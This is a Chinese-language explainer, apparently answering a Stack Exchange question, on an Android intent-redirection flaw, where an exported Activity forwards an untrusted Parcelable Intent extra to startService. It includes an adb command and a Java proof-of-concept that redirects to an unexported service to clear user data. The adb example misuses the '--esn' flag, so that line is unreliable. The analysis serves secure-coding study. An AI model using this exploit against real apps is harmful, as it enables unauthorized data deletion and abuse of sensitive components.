导出Activity且接收Parcelable Intent的Android应用安全风险及漏洞利用
Android导出Activity接收Parcelable Intent作为Extra的安全隐患与利用分析
一、核心安全隐患
- 组件权限绕过:导出的Activity相当于一个"权限跳板"——系统原本会限制外部启动未导出组件或需要特定权限的组件,但这个Activity在自身进程内调用
startService,完全绕过了系统的权限校验逻辑,外部攻击者可以借它启动任意组件。 - 无限制的Intent重定向:代码完全信任外部传入的Parcelable Intent,没有做任何合法性校验(比如限定组件包名、Action范围),攻击者可以构造任意目标的Intent,让应用替自己执行启动操作。
- 敏感操作被间接触发:如果目标应用存在未导出的敏感组件(比如处理用户隐私数据、执行支付逻辑的Service),或者其他应用有可被利用的组件,攻击者无需直接访问这些组件,通过这个导出Activity就能间接触发危险操作,导致数据泄露、财产损失。
- 输入校验缺失:最根本的问题是对外部传入的
extra_deep_link_intent没有任何校验,既没检查Intent的目标组件是否属于本应用,也没过滤Action、Data等关键参数,完全暴露了启动组件的能力。
二、结合代码的漏洞利用流程
先看代码逻辑:导出的Activity在初始化时调用handleIntentExtras,从自身Intent中取出名为extra_deep_link_intent的Parcelable Intent,直接调用startService启动该Intent指向的组件,全程没有任何校验。
攻击者可以按以下步骤实现Intent重定向:
- 构造恶意目标Intent:
可以选择两种攻击目标:- 目标应用内部的未导出敏感组件:比如负责删除用户本地数据的
com.example.app.DeleteDataService,给它传入触发删除操作的参数; - 其他应用(包括系统应用)的敏感组件:比如系统的短信发送组件,或者第三方支付应用的快捷支付组件。
- 目标应用内部的未导出敏感组件:比如负责删除用户本地数据的
- 封装攻击Intent:
将上述恶意Intent作为Extra,以extra_deep_link_intent为键,封装到启动目标应用导出Activity的Intent中。 - 触发攻击:
攻击者可以通过ADB命令直接触发,或者在恶意应用中调用startActivity启动该导出Activity:- ADB命令示例:
adb shell am start -n com.example.targetapp/.ExportedActivity --esn extra_deep_link_intent "[序列化后的恶意Intent]" - 恶意应用代码示例:
// 构造启动导出Activity的Intent Intent attackIntent = new Intent(); attackIntent.setComponent(new ComponentName("com.example.targetapp", "com.example.targetapp.ExportedActivity")); // 构造要启动的恶意Service Intent Intent maliciousIntent = new Intent(); // 指向目标应用未导出的敏感Service maliciousIntent.setComponent(new ComponentName("com.example.targetapp", "com.example.targetapp.UnexportedSensitiveService")); maliciousIntent.putExtra("operate", "clear_user_data"); // 将恶意Intent作为Extra传入 attackIntent.putExtra("extra_deep_link_intent", maliciousIntent); // 触发攻击 startActivity(attackIntent);
- ADB命令示例:
- 漏洞触发结果:
目标应用的导出Activity接收到Intent后,会直接取出恶意Intent并调用startService,由于是在目标应用自身进程内执行,系统不会校验该组件是否导出,也不会检查调用者的权限,最终攻击者成功启动了任意目标组件,执行预设的危险操作。
内容的提问来源于stack exchange,提问作者anonmer
相关产品推荐
相关产品推荐

